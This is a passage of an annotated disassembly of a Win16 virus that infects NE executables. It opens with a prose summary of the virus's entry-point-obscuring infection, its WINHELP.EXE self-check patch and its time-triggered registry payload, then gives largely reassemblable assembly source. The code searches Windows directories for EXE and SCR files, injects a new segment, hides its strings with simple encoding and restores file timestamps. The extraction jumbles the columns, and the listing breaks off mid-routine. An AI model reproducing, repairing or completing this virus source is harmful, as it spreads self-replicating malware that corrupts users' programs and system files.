adds its own entries to the module-reference and the imported-names table (this is necessary to import two APIs that are used in the payload). The most interesting feature of the virus is that it was one of the first (if not the very first) viruses using EPO techniques, that means infecting the file without modifying its entry point. To do so, it searches the code segment that contains the entry point for a call to the INITTASK API from KERNEL.DLL, or, if that one is not found, the THUNRTMAIN API from VBRUN300.DLL, this are APIs that should be in the very beginning of a program. Then the relocation item that is associated with the API call is patched in such a way that this call is redirected to the virus. While infecting, the virus pays special attention to the WINHELP.EXE files. This file contains a self-check in Win3.11. And that's why the virus patches it in a special way, so that this self-check is disabled. The payload is activated if the virus is run between 1:00am and 1:05am - The virus drops a file C:\TENTACLE.GIF containing a picture of the violet tentacle from the classical computer game "the day of the tentacle" and modifies the registry in such a way that whenever the program associated with .GIF files is run to view such a file it displays the file dropped by the virus. To do so it uses two imported APIs RegSetValue and RegQueryValue from SHELL.DLL. Additionally, if the virus is executed between 1:15am and 2:00am it runs the opposite effect and undoes the changes in the registry that were done in the payload. Reassembly tested with Tasm 3.1 and TLink 3.0 . TASM /M tenta2 TLINK tenta2 first generation sample is a DOS EXE file and infects all suitable EXE files in the current directory only. %
virus_size
EQU (offset virus_end - offset virus_start)
.model tiny .code .386 org 0 virus_start: segm_offset segm_phys_size segm_attribs segm_virt_size
dw dw dw dw
0 virus_size 0001110101010000b ; readable code segment with relocs virus_size
dd dd dd
0000FFFFh 0000FFFFh 0000FFFFh
reloc_stuff: ; pointers that will become relocated ; must be initialised by 0000:FFFF
; This is the real start of the relocation data: dw 3 ; three relocation items db 3 ; 32bit far pointer db 1 ; imported ordinal dw offset RegQueryValue ; offset of relocation item size_of_reloc_stuff1 EQU ($ - reloc_stuff) dw 0 ; will become module-reference index reloc_stuff2 dw 6 ; ordinal RegQueryValue db 3 ; 32bit far pointer db 1 ; imported ordinal dw offset RegSetValue ; offset of relocation item size_of_reloc_stuff2 EQU ($ - reloc_stuff2) dw 0 ; will become module-reference index reloc_stuff3 dw 5 ; ordinal RegSetValue db 3 ; 32bit far pointer db 1 ; imported ordinal dw offset org_entry; offset of relocation item size_of_reloc_stuff3 EQU ($ - reloc_stuff3) dw 0 ; will become module-reference index dw 0 ; will become ordinal of hooked API virus_entry: push pusha
ds
; save DS ; save all registers
ss
; DS=SS
sub mov
sp,size stack_frame bp,sp
; reserve room on stack ; setup stack frame
mov lea int
ah,1Ah dx,[bp.dta] 21h
; set DTA to DS:DX ; DS:DX=our DTA in our stack frame
push pop ds
mov bx,1 mov mov CALL
cx,offset empty_string dx,offset exe_wildcard infect_directory
; infect one EXE file in current dir
mov bx,2 mov mov CALL
cx,offset C_windows dx,offset exe_wildcard infect_directory
; infect two EXE files in C:\WINDOWS
mov bx,1 mov mov CALL
cx,offset C_win dx,offset exe_wildcard infect_directory
; infect one EXE file in C:\WIN
mov bx,1 mov mov CALL
cx,offset C_win31 dx,offset exe_wildcard infect_directory
; infect one EXE file in C:\WIN31
mov bx,1 mov mov CALL
cx,offset C_win311 dx,offset exe_wildcard infect_directory
; infect one EXE file in C:\WIN311
mov bx,1 mov mov CALL
cx,offset C_win95 dx,offset exe_wildcard infect_directory
; infect one EXE file in C:\WIN95
mov bx,1 mov mov CALL
cx,offset empty_string dx,offset scr_wildcard infect_directory
; infect one SCR in current dir
mov mov inc push push pop int
ah,1Ah dx,7Fh dx ds es ds 21h
; set DTA to DS:DX ; DX=80h (standart DTA offset)
pop
ds
; restore DS
mov int
ah,2Ch 21h
; get the system time to CX/DX ; CH=hours, CL=minutes, DH=seconds ; DL=1/100 seconds
cmp cx,100h JB restore_host cmp cx,105h JB change_gif_cmdline cmp cx,10Fh JB restore_host cmp cx,200h JAE restore_host mov ax,0 JMP call_payload change_gif_cmdline: mov ax,1 call_payload: CALL payload
restore_host:
; save DS ; DS=ES=PSP (or equivalent) segment
; ; ; ; ; ; ; ; ; ;
is it before 1:00am ? if yes, no payload is it before 1:05am ? call payload between 1:00 and 1:05 is it before 1:15am ? if yes, no payload is it after 2:00am ? if yes, no payload restore old gif commandline call payload between 1:15 and 2:00
; change gif commandline to our file ; play with the gif commandline in ; the win16 "registry".
C_win
; ; ; ;
add
sp,size stack_frame
; free room on stack
popa pop JMP
ds cs:org_entry
; ; ; ;
restore restore jump to for the
all registers DS the API that was hooked EPO while infection.
db "C:\WIN\", 0
The following two subroutines are not used in the whole virus. I guess that they were just used in the first generation sample, and accidentally left in by the virus author. That's why I also used them in the first generation carrier of the disassembly.
encrypt_wildcard: push si push di push es push pop es
; save SI ; save DI ; save ES
ds
; ES=DS
mov xor mov repne dec mov
di,si al,al cx,0FFFFh scasb di ax,di
sub
ax,si
; ; ; ; ; ; ; ;
pop pop
es di
; restore ES ; restore DI
mov
cx,ax
; CX=length of string
encrypt_wildcard_loop: inc byte ptr [si] inc si loop encrypt_wildcard_loop pop
DI=SI AL=0 search whole segment search for the end of the string go back to the terminating zero AX=end of string SI=start of string AX=length of string
; encrypt one byte from string ; next byte
si
; restore SI
si di es
; save SI ; save DI ; save ES
ds
; ES=DS
di,si al,al cx,0FFFFh scasb di ax,di
; ; ; ; ; ; ;
RET
encrypt_path: push push push push pop es mov xor mov repne dec mov
DI=SI AL=0 search whole segment search for the end of the string go back to the terminating zero AX=end of string SI=start of string
sub
ax,si
; AX=length of string
pop pop
es di
; restore ES ; restore DI
mov
cx,ax
; CX=length of string
encrypt_path_loop: dec byte ptr [si] inc si loop encrypt_path_loop pop
SI
; encrypt one byte from string ; next byte
; restore SI
RET
; ----- DECRYPT PATH STRING ------------------------------------------------; Entry: ; SI - pointer to source buffer ; DI - pointer to destination buffer ; Exit: ; DI - end of destination buffer decrypt_path: cld
; clear direction flag
push push
di es
; save DI ; save ES
push pop es
ds
; ES=DS
mov xor mov repne dec mov
di,si al,al cx,0FFFFh scasb di ax,di
sub
ax,si
; ; ; ; ; ; ; ;
pop pop
es di
; restore ES ; restore DI
mov inc JMP
cx,ax cx loop_decrypt_path
; CX=length of string ; because the LOOP immedeately follows
decrypt_path_loop: lodsb inc al stosb loop_decrypt_path: loop decrypt_path_loop movsb RET
DI=SI AL=0 search whole segment search for the end of the string go back to the terminating zero AX=end of string SI=start of string AX=length of string
; load a byte from source string ; decrypt it ; store decrypted byte
; move terminating zero
; ----- DECRYPT WINDCARD STRING --------------------------------------------; Entry:
; SI - pointer to source buffer ; DI - pointer to destination buffer ; Exit: ; DI - end of destination buffer decrypt_wildcard: cld push push
di es
; save DI ; save ES
push pop es
ds
; ES=DS
mov xor mov repne dec mov
di,si al,al cx,0FFFFh scasb di ax,di
sub
ax,si
; ; ; ; ; ; ; ;
pop pop
es di
; restore ES ; restore DI
mov inc JMP
cx,ax cx loop_decrypt_wildcard
; CX=length of string ; because the LOOP immedeately follows
decrypt_wildcard_loop: lodsb dec al stosb loop_decrypt_wildcard: loop decrypt_wildcard_loop movsb RET
C_windows empty_string
; ; ; ; ; ;
; clear direction flag
DI=SI AL=0 search whole segment search for the end of the string go back to the terminating zero AX=end of string SI=start of string AX=length of string
; load a byte from source string ; decrypt it ; store decrypted byte
; move terminating zero
db "C:\WINDOWS\" db 0
----- INFECT A DIRECTORY -------------------------------------------------INPUT: BX - number of files to infect CX - ptr to path to infect (encrypted) DX - ptr to file wildcard ("*.EXE" or "*.SCR", also encrypted)
infect_directory: push ds push es
; save DS ; save ES
push pop ds
cs
; DS=CS
push pop es
ss
; ES=SS
si,cx
; SI=ptr to path to decrypt
mov
lea
di,[bp.full_filespec]
push CALL
cx decrypt_path
; ; ; ;
dec
di
; skip the terminating zero
decrypt_wildcard
; decrypt the wilcard to full_filespec
pop lea CALL dec
si di,[bp.full_filename] decrypt_path di
; restore ptr to path in SI
pop pop
es ds
; restore ES ; restore DS
mov mov lea JMP
ah,4Eh cx,2 dx,[bp.full_filespec] do_file_search
; find first file ; normal and hidden files
push push
es di
; save ES ; save DI
push pop es
ss
; ES=SS
mov si,dx CALL
DI=ptr to where full wildcard will be stored ("C:\path\*.ext") save CX (pointer to path) decrypt the path to full_filespec
; skip the terminating zero
do_file:
;*
cld lea
si,[bp.dta+1Eh]
mov rep
cx,13 movsb
; ; ; ; ; ;
pop pop
di es
; restore DI ; restore ES
test JZ
byte ptr [bp.dta+15h],1 ; read only attribute set? not_readonly
push
dx
; save DX
mov add xor mov and db lea int
ax,3000h ax,1301h ch,ch cl,[bp.dta+15h] cx,0FFFEh 83h,0E1h,0FEh dx,[bp.full_filename] 21h
; AX=4301h (set file attributes)
pop
dx
; restore DX
JC
findnext
; error? if so, search on
infect_file findnext bx done_directory
; ; ; ;
not_readonly: CALL JC dec JZ
; ; ; ; ;
clear direction flag SI=ptr to found filename in DTA DI points after the path in full_filename 8.3 filename (zero terminated) copy filename
set high byte of attributes to zero CL=low byte of attributes delete read-only attribute fixup - byte match DS:DX=ptr to filename (with path)
infect the file! on error while infecting search on! decrement infection counter enough files infected?
findnext: mov
ah,4Fh
do_file_search: int 21h JNC do_file
; find next file
; do the file search ; if no error happened, process file
done_directory: RET
C_win31
db "C:\WIN31\", 0
exe_wildcard scr_wildcard
db "*.EXE", 0 db "*.SCR", 0
; ----- INFECT THE FILE ----------------------------------------------------infect_file: pushad mov lea int 21h JC mov mov CALL mov mov lea int 21h JC
;*
;*
; save all 32bit registers ax,3D00h dx,[bp.full_filename]
; open file read-only ; DS:DX=pointer to filename
exit_infect bx,ax [bp.source_handle],ax
; exit on error ; file handle to BX ; save file handle
get_file_date_time_size ah,3Fh cx,64 dx,[bp.rw_buffer]
; read DOS header ; DOS header size ; Load effective addr
close_file
mov dec cmp JNE
ax,word ptr [bp.rw_buffer] ; AX=exe marker ax ; anti-heuristic ax,"ZM"-1 ; EXE file? close_file ; close if not
cmp db JE
word ptr [bp.rw_buffer+0Ch],0FFFEh ; maxmem item in DOS ; header is infection marker 81h,0BEh,0A9h,0,0FEh,0FFh ; fixup - byte match close_file ; if equal, file is already infected
cmp db JNE
word ptr [bp.rw_buffer+0Ch],0FFFFh ; maxmem must be standart 81h,0BEh,0A9h,0,0FFh,0FFh ; fixup - byte match close_file ; if not, don't infect
mov cmp JB
word ptr [bp.rw_buffer+0Ch],0FFFEh ; mark as infected word ptr [bp.rw_buffer+18h],40h ; new exe file? close_file ; if not, then close
; set tmp_filename to "C:\TENTACLE.$$$", 0 mov dword ptr [bp.tmp_filename+6],0F59E6305h add dword ptr [bp.tmp_filename+6],56A4DE4Fh mov word ptr [bp.tmp_filename+0],":C" mov dword ptr [bp.tmp_filename+10],"$$.E" mov dword ptr [bp.tmp_filename+2],0B1704BC2h add dword ptr [bp.tmp_filename+2],9CD5089Ah mov word ptr [bp.tmp_filename+14],"$"
mov mov lea int 21h JC mov
ah,3Ch cx,2 dx,[bp.tmp_filename]
; create temporary file ; with hidden attributes ; DS:DX=ptr to filename
close_file [bp.dest_handle],ax
; exit on error ; save temp file handle
mov mov mov lea int JC
ah,40h bx,[bp.dest_handle] cx,64 dx,[bp.rw_buffer] 21h close_tmp_file
; ; ; ;
mov mov sub CALL JC
ecx,dword ptr [bp.rw_buffer+3Ch] ; ECX=new exe header offset [bp.new_header_offs],ecx; store it ecx,64 ; size of dos header (already written) copy_file_block ; copy rest of DOS stub close_tmp_file
mov mov mov lea int 21h JC mov inc cmp JNE
bx,[bp.source_handle] ah,3Fh cx,64 dx,[bp.rw_buffer]
; ; ; ;
write DOS header of temp file BX=file handle CX=length to write DS:DX=address write buffer
BX=handle of victim file read NE header size of NE header DX=offset of buffer
close_tmp_file ax,word ptr [bp.rw_buffer] ; AX=new exe marker ax ; anti-heuristic ax,"EN"+1 ; NE exe file? close_tmp_file ; if not, then abort infection
mov mov shl mov mov mov shr mov
cl,byte ptr [bp.rw_buffer+32h] ; CL=alignment shift eax,1 ; EAX=1 eax,cl ; EAX=alignment unit [bp.alignment_unit],eax ; save it cl,byte ptr [bp.rw_buffer+32h] ; CL=alignment shift eax,[bp.file_size] ; EAX=filesize eax,cl ; EAX=filesize in alignment units [bp.new_sect_descr+0],ax ; save it as offset for the new ; segment that is going to be created mov eax,[bp.alignment_unit] ; EAX=alignment unit dec eax ; set all bits below alignemt test eax,[bp.file_size] ; filesize already aligned? JZ filesize_already_aligned inc word ptr [bp.new_sect_descr+0] ; if not, round it up filesize_already_aligned: mov ax,cs:segm_phys_size ; copy physical size of segment mov [bp.new_sect_descr+2],ax mov ax,cs:segm_attribs ; copy segment attributes mov [bp.new_sect_descr+4],ax mov ax,cs:segm_virt_size ; copy virutal size of segment mov [bp.new_sect_descr+6],ax cmp JNE
word ptr [bp.rw_buffer+22h],40h ;is the segment table directly ; after the NE header (standart case)? close_tmp_file ; if not, better not infect the file
CALL JC mov mov
EPO close_tmp_file [bp.module_ordinal],eax ; save module index and ordinal [bp.our_reloc_offs],edx ; save offset of relocation item
xor mov add
eax,eax ; EAX=0 ax,word ptr [bp.rw_buffer+22h] ; EAX=offset of segment ; descriptor table from NE hdr eax,[bp.new_header_offs]; EAX=offset of segment descriptor ; table from file start
push pop dx pop cx mov int 21h
eax
; CX:DX=EAX
ax,4200h
; go to segment descriptor table
mov mov lea int 21h JC
ah,3Fh ; read the offset of the first segment cx,2 ; read a word dx,[bp.first_segm_offs] ; DX=offset read buffer close_tmp_file
mov
ax,4201h
mov mov int
cx,-1 dx,-2 21h
JC
close_tmp_file
xor mov
eax,eax ; EAX=0 ax,word ptr [bp.first_segm_offs]
mul mov
; move file pointer relative to ; current position ; CX:DX=-2 (new filepointer position) ; set the filepointer back to the ; start of the segment table
; EAX=aligned file offset ; of first segment [bp.alignment_unit] ; EAX=file offset of the 1st segment [bp.first_segm_offs],eax; save it
mov ebx,dword ptr [bp.rw_buffer+2Ch] ; EBX=beginning of the nonresident-name table (relative to filestart). ; This should be the last table in the NE header. xor mov
;*
add mov
; ECX=0 ; ECX=size of nonresident name ; table in bytes ebx,ecx ; EBX=size of NE header + all tables dword ptr [bp.end_of_NE_hdr],ebx
sub
eax,ebx
; EAX=free room between the end of ; the NE header and the first segment
cmp
eax,10h
db JL
66h,83h,0F8h,10h close_tmp_file
; ; ; ; ; ;
mov inc mov mov mov
ax,word ptr [bp.rw_buffer+1Ch] ; ax ; word ptr [bp.rw_buffer+1Ch],ax ; word ptr [bp.new_entry_CS],ax ; word ptr [bp.new_entry_IP],offset
and
ecx,ecx cx,word ptr [bp.rw_buffer+20h]
is there enough room left so we can add our stuff (a segment descriptor, a module reference and an imported name) ? fixup - byte match if not, we can't infect the file
segment count add another segment save new segment count new entry segment index virus_entry ; set new ; entry IP byte ptr [bp.rw_buffer+37h],011110111b ; windows flags: ; kill gangload area
; fixup the offsets of the other NE header tables (all are after the segment
; table and therefore shifted back). It is assumed that all tables are in the ; same order in the file as their offsets are stored in the NE header (except ; for the entry table, which should be the second last). add add add add add add
word ptr [bp.rw_buffer+4h],16 word ptr [bp.rw_buffer+24h],8 word ptr [bp.rw_buffer+26h],8 word ptr [bp.rw_buffer+28h],8 word ptr [bp.rw_buffer+2Ah],10 dword ptr [bp.rw_buffer+2Ch],16
; ; ; ; ; ;
inc
word ptr [bp.rw_buffer+1Eh]
; one more entry in ; module-reference table
mov mov mov lea int 21h JC xor mov dec shl
ah,40h bx,[bp.dest_handle] cx,64 dx,[bp.rw_buffer]
; ; ; ;
entry table resource table resident-name table module-reference table imported-name table nonresident-name table
write modified NE header to tmp file BX=temp file handle NE header size DX=write buffer offset
close_tmp_file
CALL JC
ecx,ecx ; ECX=0 cx,word ptr [bp.rw_buffer+1Ch] ; EAX=number of segments cx ; ECX=old number of segments cx,3 ; shl 3 means mul 8 (size of a ; segment descriptor) ; ECX=old size of segm descriptor tbl copy_file_block ; copy segment descriptor table close_tmp_file
mov
ah,40h
mov lea int 21h JC xor mov
cx,8 dx,[bp.new_sect_descr]
; ; ; ;
write our own segment descriptor to the file size of a segment descriptor DX=offset of write buffer
close_tmp_file
CALL JC
ecx,ecx ; ECX=0 cx,word ptr [bp.rw_buffer+2Ah] ; ECX=offset of imported-name ; table from NE header ax,word ptr [bp.rw_buffer+1Ch] ; entries in segment table ax ; AX=old number of segments ax,3 ; multiply with 8 (size of a ; segment descriptor) ax,word ptr [bp.rw_buffer+22h] ; add offset of segment table ; (from NE header) ; AX=offset end of segment table ; relative to the NE header cx,ax ; CX=length of stuff between the ; segment table and the imported-name ; table (resource, resident-name and ; module-reference tables) cx,10 ; because the imported-name table ; offset has already been increased ; by 10 before copy_file_block ; copy all those tables close_tmp_file
mov
ax,word ptr [bp.rw_buffer+4]
sub
ax,6
sub
ax,word ptr [bp.rw_buffer+2Ah]
mov dec shl add
sub
sub
; offset entry table (from ; NE header) ; AX=end of old imported-name table ; ECX=offset of imported-name
mov
word ptr [bp.tmp_buffer],ax
mov
ah,40h
mov lea int 21h JC xor mov
cx,2 dx,[bp.tmp_buffer]
; ; ; ; ;
; ; ; ;
table from NE header AX=offset into imported-name table (the one of the module name we're going to add)
append our new entry into the module reference table, the offset of the new module name write one word DS:DX=pointer to write buffer
close_tmp_file
CALL JC
ecx,ecx ; ECX=0 cx,word ptr [bp.rw_buffer+4] ; offset entry table (from ; NE header) cx,6 ; CX=end of old imported-name table cx,word ptr [bp.rw_buffer+2Ah] ; offset of imported-names ; table from NE header copy_file_block ; copy imported-name table close_tmp_file
mov
ah,40h
sub sub
mov mov mov add lea int 21h JC mov
; append our module name to the ; imported-name table cx,6 ; length to write word ptr [bp.tmp_buffer+4],"LL" ; create the string dword ptr [bp.tmp_buffer],6DBBFE87h ; 5, "SHELL" dword ptr [bp.tmp_buffer],0D78C547Eh ; in tmp_buffer dx,[bp.tmp_buffer] ; DS:DX=pointer to write buffer close_tmp_file
JC
; end of NE header+all tables ; (offset from filestart cx,word ptr [bp.rw_buffer+4] ; offset entry table (from ; NE header) cx,word ptr [bp.new_header_offs]; BUG! this should be a sub, ; no add! but because the ; filepointer is set new ; immedeately afterwards, this ; never causes any problems. copy_file_block ; copy the rest of the header ; (entry and nonresident-name tables) close_tmp_file
mov
ax,4200h
sub add
CALL
push pop pop cx int 21h JC mov mov push pop pop cx int 21h JC
cx,word ptr [bp.end_of_NE_hdr]
; set filepointer in the destination ; (temp) file to the start of the ; first segment. dword ptr [bp.first_segm_offs] dx ; CX:DX=first segment offset
close_tmp_file ax,4200h
; set filepointer in the source file ; to the start of the first segment
bx,[bp.source_handle] dword ptr [bp.first_segm_offs] dx ; CX:DX=first segment offset
close_tmp_file
mov CALL
ecx,0FFFFFFFFh copy_file_block
JC
close_tmp_file
xor mov mov shl
eax,eax ; EAX=0 ax,[bp.new_sect_descr+0]; EAX=aligned offset of our segment cl,byte ptr [bp.rw_buffer+32h] ; CL=alignment shift eax,cl ; EAX=offset of our segment in bytes
push pop dx pop cx mov mov int 21h JC mov mov
mov push push pop ds int 21h pop JC
; whole file body ; copy the file body (all segments ; and relocations)
eax
; CX:DX=EAX
ax,4200h bx,[bp.dest_handle]
; go to our segment offset in file ; BX=temp file handle
close_tmp_file ah,40h ; write virus body to file cx,(RegQueryValue-virus_start) ; write whole virus body ; excluding the three pointers that ; must be relocated and therefore ; initialised with 0000:FFFF dx,offset virus_start ; DX=offset write buffer=virus body ds ; save DS cs ; DS=CS
ds close_tmp_file
; restore DS
ah,40h cx,size_of_reloc_stuff1 dx,offset reloc_stuff ds cs
; ; ; ; ;
pop JC
ds close_tmp_file
; restore DS
mov mov lea
ah,40h ; cx,2 ; dx,ss:[bp.rw_buffer+1Eh]; ; ;
mov mov mov push push pop ds int 21h
int 21h JC mov mov mov push push pop ds int 21h
write relocation stuff size of relocation stuff DX=offset write buffer save DS DS=CS
write module index one word number of entries in module reference table - our module reference is the last
close_tmp_file ah,40h cx,size_of_reloc_stuff2 dx,offset reloc_stuff2 ds cs
; ; ; ; ;
write relocation stuff size of relocation stuff DX=offset write buffer save DS DS=CS
pop JC
ds close_tmp_file
; restore DS
mov
ah,40h
; write module index
mov lea
int 21h JC mov mov mov push push pop ds int 21h pop ds JC mov
cx,2 ; dx,ss:[bp.rw_buffer+1Eh]; ; ;
one word number of entries in module reference table - our module reference is the last
close_tmp_file ah,40h cx,size_of_reloc_stuff3 dx,offset reloc_stuff3 ds cs
; ; ; ; ;
write relocation stuff size of relocation stuff DX=offset write buffer save DS DS=CS
; ; ; ; ;
write the reference to the API we hooked for the EOP CX=4 (size to write) ??? DS:DX=pointer to write buffer
close_tmp_file ah,40h
mov shl lea int 21h JC
cx,2 cx,1 dx,[bp.module_ordinal]
push pop pop cx mov int JC
[bp.our_reloc_offs] dx
; CX:DX=offset of the relocation item ; that has to be modifies
ax,4200h 21h close_tmp_file
; set filepointer relative to ; filestart
mov mov mov lea int 21h JC
ah,40h ; write relocation type cx,2 ; one word word ptr [bp.tmp_buffer],3 ; 32bit far ptr/internal reference dx,[bp.tmp_buffer] ; DS:DX=pointer to write buffer
mov mov mov int 21h JC mov mov shl lea int 21h JC
close_tmp_file
close_tmp_file ax,4201h cx,0 dx,2
; ; ; ;
set new file pointer relative to current position CX:DX=2 (skip the offset of the dword that must be relocated)
; ; ; ; ;
write a far pointer to the virus entrypoint. CX=4 (size to write) ??? DS:DX=pointer to write buffer
close_tmp_file ah,40h cx,2 cx,1 dx,[bp.new_entry_CS] close_tmp_file
cmp dword ptr [bp.dta+24h],"XE.P" ; check the filename of the JNE not_winhelp ; victim for "WINHELP.EXE" and try to mov eax,dword ptr [bp.dta+20h] ; patch it if the filename matches add eax,98F5548Ah cmp eax,"LEHN"+98F5548Ah JNE not_winhelp cmp word ptr [bp.dta+28h],"E" JNE not_winhelp
cmp JNE CALL not_winhelp:
word ptr [bp.dta+1Eh],"IW" not_winhelp patch_winhelp
mov int 21h
ah,3Eh
; close temp file
mov mov int 21h
bx,[bp.source_handle] ah,3Eh
; BX=victim file handle ; close victim file
lea mov int 21h
dx,[bp.tmp_filename] ax,3D00h
; DS:DX=pointer to temp file name ; reopen temp file read-only
JC mov
delete_tmp_file [bp.source_handle],ax
; save handle
mov mov lea int 21h JC
ah,3Ch cx,0 dx,[bp.full_filename]
; truncate victim file ; no attributes ; DS:DX=ptr to full victim filename
delete_tmp_file
mov mov
bx,ax [bp.dest_handle],ax
; handle to BX ; save handle
mov CALL
ecx,0FFFFFFFFh copy_file_block
; copy the whole temp file over the ; victim file
mov ax,3000h add ax,2701h mov bx,[bp.dest_handle] mov dx,[bp.file_date] mov cx,[bp.file_time] int 21h
; AX=5701h - set file date and time
mov int 21h
ah,3Eh
; close victim file
mov mov int 21h
bx,[bp.source_handle] ah,3Eh
; BX=handle of temp file ; close temp file
lea mov int 21h
dx,[bp.tmp_filename] ah,41h
; DS:DX=pointer to temp file name ; delete temp file
clc JMP
; BX=handle of victim file ; CX=old file date ; DX=old file time
; clear carry flag (indicate success) exit_infect
close_tmp_file: mov bx,[bp.dest_handle] mov ah,3Eh int 21h
; BX=handle of temp file ; close temp file
delete_tmp_file: lea dx,[bp.tmp_filename] mov ah,41h int 21h
; DS:DX=pointer to temp file name ; delete temp file
close_file:
mov mov int 21h
bx,[bp.source_handle] ah,3Eh
stc
; BX=handle of victim file ; close fictim file
; set carry flag (indicate error)
exit_infect: popad RET
; restore all 32bit registers
C_win311 db "C:\WIN311\", 0
; ----- GET DATE, TIME AND SIZE OF THE OPENED FILE -------------------------get_file_date_time_size: push cx push dx mov int 21h
; save CX and DX
ax,5700h
; get date and time
mov mov
[bp.file_date],dx [bp.file_time],cx
; save date ; save time
xor xor mov int
cx,cx dx,dx ax,4202h 21h
; CX:DX=0 (distance to move)
mov mov
word ptr [bp.file_size+2],dx word ptr [bp.file_size],ax
xor xor mov int
cx,cx dx,dx ax,4200h 21h
; DX:CX=0 (distance to move)
dx
; restore DX and CX
pop pop cx
; ; ; ;
move filepointer relative to end of file in DX:AX the new filpointer is returned (filesize in this case) ; save filesize
; move filepointer relative to ; beginning of file
RET
C_win95 db "C:\WIN95\", 0
; ----- COPY ECX BYTES FROM VICTIM FILE TO TEMP FILE -----------------------copy_file_block: pushad ; save all 32bit registers sub sp,256 ; allocate a 256 byte buffer from stack mov [bp.bytes_to_copy],ecx ; save length of block to copy mov dx,sp ; DX=offset buffer copy_file_block_loop: cmp [bp.bytes_to_copy],0 ; whole block moved? JE copy_file_block_done ; then we're done cmp [bp.bytes_to_copy],256 ; more than 256 bytes left? JBE copy_remaining_bytes_block
mov JMP
cx,256 read_file_block
; then just copy 256 bytes
copy_remaining_bytes_block: mov cx,word ptr [bp.bytes_to_copy] read_file_block: push cx mov bx,[bp.source_handle] mov ah,3Fh push ds push ss pop ds int 21h
; copy all bytes left
; ; ; ; ;
save size to read/write BX=handle of source file read from file function save DS DS=SS
ds bx,[bp.dest_handle] cx,ax ah,40h ds ss
; ; ; ; ; ;
restore DS BX=handle of destination file write as many bytes as were read write block to temporary file save DS DS=SS
pop cmp pop JNZ cmp
ds cx,ax cx copy_file_block_error cx,ax
JNE
copy_file_block_done
; ; ; ; ; ; ;
restore DS sizes of read block=written block ? restore size to read and write if not equal, then an error occured size of read/written block equal to the size we planned to read? if not, we're at the end of the file
cwde sub JMP
[bp.bytes_to_copy],eax copy_file_block_loop
; convert word to dword (AX->EAX) ; we've copied EAX bytes more ; copy next file block
pop mov mov mov push push pop ds int 21h
copy_file_block_error: stc JMP copy_file_block_ret copy_file_block_done: clc add sp,256 popad
; set carry flag (indicate error)
; clear carry flag (indicate success) ; remove buffer from stack ; restore all 32bit registers
copy_file_block_ret: RET
; ----- SEARCH MODULE NAME -------------------------------------------------; ; searches the module name pointed to by DX in the imported names table and ; returns in AX its number, otherwise indicates error with carry flag set search_module_name: push bx push es sub mov di,dx push
; save BX ; save ES
sp,256
; reserve a 256 bytes buffer on stack
ss
; ES=SS
pop es xor mov add
push pop dx pop cx mov int 21h JC mov mov shl mov int 21h JC xor mov add
push pop dx pop cx mov int 21h JC mov mov mov add int 21h JC mov xor JMP
eax,eax ; EAX=0 ax,word ptr [bp.rw_buffer+28h] ; ptr to module-reference ; table (from NE header) eax,[bp.new_header_offs]; EAX=ptr to module-reference table ; (from file start) eax
; CX:DX=EAX
ax,4200h
; set file pointer relative to ; file start to module reference table
module_name_not_found ah,3Fh ; read module reference table cx,word ptr [bp.rw_buffer+1Eh] ; number of entries in ; module reference table cx,1 ; multiply with two (each entry ; in module reference table is a word) dx,sp ; DS:DX=ptr to our buffer on stack module_name_not_found eax,eax ; EAX=0 ax,word ptr [bp.rw_buffer+2Ah] ; ptr to imported-names table ; (relative to NE header) eax,[bp.new_header_offs]; EAX=ptr to imported-names table ; relative to file start eax
; CX:DX=EAX
ax,4200h
; set file pointer relative to ; file start to imported-names table
module_name_not_found ah,3Fh cx,128 dx,sp dx,128
; ; ; ; ;
read imported-names table read 128 bytes DS:DX=ptr to buffer on stack assume module-reference table is not longer than 128 bytes too
module_name_not_found bx,sp ; BX=module-reference table buffer cx,cx ; CX=0 check_if_all_modules_done
search_module_name_loop: mov si,sp add si,128 add si,[bx]
; ; ; ; ;
SI=buffer on stack SI=imported-names table buffer add offset from module-reference table to get a actual entry in the imported-names table
push push
cx di
; save CX (module counter) ; save DI (offset of module name ; to search for)
xor
ch,ch
; CH=0
mov
cl,[si]
; length of this entry in the ; imported-names table
inc cld repe
cl
; also compare the string-length byte ; clear direction flag ; compare the strings
pop
di
pop
cx
JZ inc add
found_module_name cx bx,2
cmpsb
; restore DI (offset of module name ; to search for) ; restore CX (module counter)
; incerement CX (module counter) ; go to next entry in module; reference table
check_if_all_modules_done: cmp cx,word ptr [bp.rw_buffer+1Eh] ; done all modules ? JNE search_module_name_loop ; if not, search on JMP module_name_not_found ; if yes, the search failed found_module_name: mov ax,cx inc ax add sp,256 clc JMP exit_search_module_name
; ; ; ;
module_name_not_found: add sp,256 stc ; Set carry flag
; remove buffer from stack
exit_search_module_name: pop es pop bx RET
; restore ES ; restore BX
; ; ; ; ; ; ;
AX=module counter make counter start from 1 remove buffer from stack clear carry flag (indicate success)
----- EPO ENGINE ---------------------------------------------------------Entry: none Exit: EAX - module index (in MSW) and API ordinal (in LSW) of found reloc item EDX - file offset of relocation item to modify
EPO: ; create the string 6, "KERNEL" in tmp_buffer mov mov add add lea CALL JC mov JMP
dword ptr [bp.tmp_buffer+4],5AD5762Dh dword ptr [bp.tmp_buffer+0],0F220B44Bh dword ptr [bp.tmp_buffer+0],602496BBh dword ptr [bp.tmp_buffer+4],0A576CF21h dx,[bp.tmp_buffer] ; DX=pointer to 6, "KERNEL" search_module_name check_VBrun dx,5Bh ; ordinal of InitTask API search_API_reference
check_VBrun: ; create the string 8, "VBRUN300" in tmp_buffer mov dword ptr [bp.tmp_buffer+4],9062F740h mov dword ptr [bp.tmp_buffer+0],0EDC4FE68h
mov add add lea CALL JC mov
byte ptr [bp.tmp_buffer+8],"0" dword ptr [bp.tmp_buffer+4],9FD05715h dword ptr [bp.tmp_buffer+0],647D57A0h dx,[bp.tmp_buffer] ; Load effective addr search_module_name end_EPO dx,64h ; ordinal of THUNRTMAIN API
search_API_reference: push ax push dx xor mov add xor mov dec shl add push pop dx pop cx mov int 21h
; save AX (module index) ; save DX (API function ordinal)
eax,eax ; EAX=0 ax,word ptr [bp.rw_buffer+22h] ; segment table offset ; (relative to NE header) eax,[bp.new_header_offs]; EAX=segment table offset (relative ; to file start) ecx,ecx ; ECX=0 cx,word ptr [bp.rw_buffer+16h] ; entry code segment index cx ; make segment counter start at zero ecx,3 ; multiply with 8 (segment table ; entry size) eax,ecx ; EAX=offset of entry code segment ; descriptor (from filestart) eax ; CX:DX=EAX
ax,4200h
; go to descriptor of entry code segm
pop pop JC mov
dx ; restore DX (API function ordinal) ax ; restore AX (module index) end_EPO cl,byte ptr [bp.rw_buffer+32h] ; CL=alignemt shift
push sub mov
